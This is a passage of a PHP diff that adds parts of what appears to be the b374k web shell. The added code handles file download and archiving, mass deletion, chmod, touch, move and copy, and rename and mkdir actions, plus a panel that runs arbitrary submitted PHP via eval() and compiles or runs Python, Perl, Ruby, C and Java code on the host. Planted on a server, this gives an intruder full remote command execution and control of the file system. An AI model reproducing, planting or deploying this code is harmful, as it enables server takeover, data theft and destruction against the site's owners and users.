$s_dlarchive); + exe("tar czf ".$s_dlarchive." ".$s_dlpath); + $s_dlthis = $s_dlarchive; + } + elseif($s_dltype=="raw"){ + if(is_file($s_dlpath)) $s_dlthis = $s_dlpath; + } + + if(is_file($s_dlthis)){ + header("Content-Type: application/octet-stream"); + header('Content-Transfer-Encoding: binary'); + header("Content-length: ".@filesize($s_dlthis)); + header("Content-disposition: attachment; filename=\"".basename($s_dlthis)."\";"); + $s_file = @fopen($s_dlthis,"rb"); + while(!feof($s_file)){ + print(@fread($s_file, 1024*8)); + ob_flush(); + flush(); + } + fclose($s_file); + + if($s_dltype!="raw"){ + rename($s_dlthis,$s_dlthis."del"); + unlink($s_dlthis."del"); + } + exit; + } + } + // massact + if(isset($_REQUEST['y'])){ + $s_massact = $_COOKIE['massact']; + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + if(!empty($s_buffer)){ + if($_REQUEST['y']=='delete'){ + $s_result .= "

Delete ? Yes | No

"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='chmod'){ + $s_result .= "
chmod ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='touch'){ + $s_result .= "
touch ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='paste' && $s_massact=='cut'){ + $s_result .= "

Move here ? Yes | No

"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='paste' && $s_massact=='copy'){ + $s_result .= "

Copy here ? Yes | No

"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + } + } + + if(isset($_REQUEST['y'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_counter = 0; + if($_REQUEST['y']=='moveok'){ + foreach($s_lists as $s_l){ + if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders moved

"; + else $s_result .= "

no files/folders moved

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + if($_REQUEST['y']=='copyok'){ + foreach($s_lists as $s_l){ + if(copy($s_l,$s_cwd.basename($s_l))) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders copied

"; + else $s_result .= "

no files/folders copied

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + if($_REQUEST['y']=='delok'){ + foreach($s_lists as $s_l){ + if(is_file($s_l)){ + if(unlink($s_l)) $s_counter++; + } + elseif(is_dir($s_l)){ + rmdirs($s_l); + if(!is_dir($s_l)) $s_counter++; + } + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders deleted

"; + else $s_result .= "

no files/folders deleted

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + } + elseif(isset($_REQUEST['chmodok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_counter = 0; + $s_mod = octdec($_REQUEST['chmodok']); + foreach($s_lists as $s_l){ + if(chmod($s_l,$s_mod)) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders changed mode to ".decoct($s_mod)."

"; + else $s_result .= "

no files/folders modified

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + elseif(isset($_REQUEST['touchok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_counter = 0; + $s_datenew = strtotime($_REQUEST['touchok']); + foreach($s_lists as $s_l){ + if(touch($s_l,$s_datenew)) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders changed access and modification time to ".date("d-M-Y H:i:s",$s_datenew)."

"; + else $s_result .= "

no files/folders modified

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + + // view image specified by ?img= + if(isset($_REQUEST['img'])){ + ob_clean(); + $s_d = ss($_REQUEST['d']); + $s_f = ss($_REQUEST['img']); + $s_inf = @getimagesize($s_d.$s_f); + $s_ext = explode($s_f,"."); + $s_ext = $s_ext[count($s_ext)-1]; + header("Content-type: ".$s_inf["mime"]); + header("Cache-control: public"); + header("Expires: ".@date("r",@mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7));# + readfile($s_d.$s_f); + exit; + } + + // rename file or folder + if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){ + $s_old = ss($_REQUEST['oldname']); + $s_new = ss($_REQUEST['newname']); + + $s_renmsg = ""; + if(is_dir($s_old)) $s_renmsg = (@rename($s_cwd.$s_old,$s_cwd.$s_new)) ? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new; + elseif(is_file($s_old)) $s_renmsg = (@rename($s_cwd.$s_old,$s_cwd.$s_new)) ? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new; + else $s_renmsg = "Cannot find the path specified ".$s_old; + + $s_result .= "

".$s_renmsg."

"; + $s_fnew = $s_cwd.$s_new; + } + + // confirm delete + if(!empty($_REQUEST['del'])){ + $s_del = trim($_REQUEST['del']); + $s_result .= "

Delete ".basename($s_del)." ? Yes | No

"; + }// delete file + elseif(!empty($_REQUEST['delete'])){ + $s_f = ss($_REQUEST['delete']); + $s_delmsg = ""; + if(is_file($s_f)){ + $s_delmsg = (unlink($s_f)) ? "File removed : ".$s_f : "Unable to remove file ".$s_f; + } + elseif(is_dir($s_f)){ + rmdirs($s_f); + $s_delmsg = (is_dir($s_f)) ? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f; + } + else $s_delmsg = "Cannot find the path specified ".$s_f; + $s_result .= "

".$s_delmsg."

"; + } // create dir + elseif(!empty($_REQUEST['mkdir'])){ + $s_f = ss($s_cwd.ss($_REQUEST['mkdir'])); + $s_dirmsg = ""; + + $s_num = 1; + if(is_dir($s_f)){ + $s_pos = strrpos($s_f,"_"); + if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1); + while(is_dir(substr($s_f,0,$s_pos)."_".$s_num)){ + $s_num++; + } + $s_f = substr($s_f,0,$s_pos)."_".$s_num; + } + if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f; + else $s_dirmsg = "Unable to create directory ".$s_f; + + $s_result .= "

".$s_dirmsg."

"; + } + + // php eval() function + if(isset($_REQUEST['x']) && ($_REQUEST['x']=='eval')){ + $s_code = ""; + $s_res = ""; + $s_gccoption = ""; + $s_lang = "php"; + + if(isset($_REQUEST['evalcode'])){ + $s_code = ssc($_REQUEST['evalcode']); + $s_gccoption = (isset($_REQUEST['gccoption']))? " ".ssc($_REQUEST['gccoption']):""; + $s_tmpdir = get_writabledir(); + + if(isset($_REQUEST['lang'])){$s_lang = $_REQUEST['lang'];} + + if(strtolower($s_lang)=='php'){ + ob_start(); + eval($s_code); + $s_res = ob_get_contents(); + ob_end_clean(); + } + elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'){ + $s_rand = md5(time().rand(0,100)); + $s_script = $s_tmpdir.$s_rand; + file_put_contents($s_script, $s_code); + if(is_file($s_script)){ + $s_res = exe($s_lang." ".$s_script.$s_gccoption); + unlink($s_script); + } + } + elseif(strtolower($s_lang)=='gcc'){ + $s_script = md5(time().rand(0,100)); + chdir($s_tmpdir); + file_put_contents($s_script.".c", $s_code); + if(is_file($s_script.".c")){ + $s_scriptout = $s_win ? $s_script.".exe" : $s_script; + $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_gccoption); + if(is_file($s_scriptout)){ + $s_res = $s_win ? exe($s_scriptout) : exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout); + rename($s_scriptout, $s_scriptout."del"); + unlink($s_scriptout."del"); + } + unlink($s_script.".c"); + } + chdir($s_cwd); + } + elseif(strtolower($s_lang)=='java'){ + if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){ + $s_classname = trim($s_r[1]); + $s_script = $s_classname; + } + else{ + $s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8); + $s_script = $s_rand; + $s_code = "class ".$s_rand." { ".$s_code . " } "; + } + chdir($s_tmpdir); + file_put_contents($s_script.".java", $s_code); + if(is_file($s_script.".java")){ + $s_res = exe("javac ".$s_script.".java"); + if(is_file($s_script.".class")){ + $s_res .= exe("java ".$s_script.$s_gccoption); + unlink($s_script.".class"); + } + unlink($s_script.".java"); + } + chdir($s_pwd); + } + } + + $s_lang_available = ""; + $s_selected = ""; + if($s_python){ + $s_checked = ($s_lang == "python") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_perl){ + $s_checked = ($s_lang == "perl") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_ruby){ + $s_checked = ($s_lang == "ruby") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_gcc){ + $s_checked = ($s_lang == "gcc") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_java){ + $s_checked = ($s_lang == "java") ? "selected" : ""; + $s_lang_available .= ""; + } + $s_gccoptionclass = ($s_lang=="php")? "sembunyi":""; + $s_e_result = (!empty($s_res)) ? "
".hss($s_res)."
":""; + $s_result .= "
+ + + + +

+ 		+
Additional option
+ ".$s_e_result." + +
+ "; + } + // find + elseif(isset($_REQUEST['find'])){ + $s_p = cp($_REQUEST['find']); + + $s_type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "sfile"; + $s_sfname = (!empty($_REQUEST['sfname']))?ssc($_REQUEST['sfname']):''; + $s_sdname = (!empty($_REQUEST['sdname']))?ssc($_REQUEST['sdname']):''; + $s_sfcontain = (!empty($_REQUEST['sfcontain']))?ssc($_REQUEST['sfcontain']):''; + + $s_sfnameregexchecked=$s_sfnameicasechecked=$s_sdnameregexchecked=$s_sdnameicasechecked=$s_sfcontainregexchecked=$s_sfcontainicasechecked=$s_swritablechecked=$s_sreadablechecked=$s_sexecutablechecked=""; + $s_sfnameregex=$s_sfnameicase=$s_sdnameregex=$s_sdnameicase=$s_sfcontainregex=$s_sfcontainicase=$s_swritable=$s_sreadable=$s_sexecutable=false; + + if(isset($_REQUEST['sfnameregex'])){$s_sfnameregex=true;$s_sfnameregexchecked="checked";} + if(isset($_REQUEST['sfnameicase'])){$s_sfnameicase=true;$s_sfnameicasechecked="checked";} + if(isset($_REQUEST['sdnameregex'])){$s_sdnameregex=true;$s_sdnameregexchecked="checked";} + if(isset($_REQUEST['sdnameicase'])){$s_sdnameicase=true;$s_sdnameicasechecked="checked";} + if(isset($_REQUEST['sfcontainregex'])){$s_sfcontainregex=true;$s_sfcontainregexchecked="checked";} + if(isset($_REQUEST['sfcontainicase'])){$s_sfcontainicase=true;$s_sfcontainicasechecked="checked";} + if(isset($_REQUEST['swritable'])){$s_swritable=true;$s_swritablechecked="checked";} + if(isset($_REQUEST['sreadable'])){$s_sreadable=true;$s_sreadablechecked="checked";} + if(isset($_REQUEST['sexecutable'])){$s_sexecutable=true;$s_sexecutablechecked="checked";} + + $s_sexecb = (function_exists("is_executable")) ? "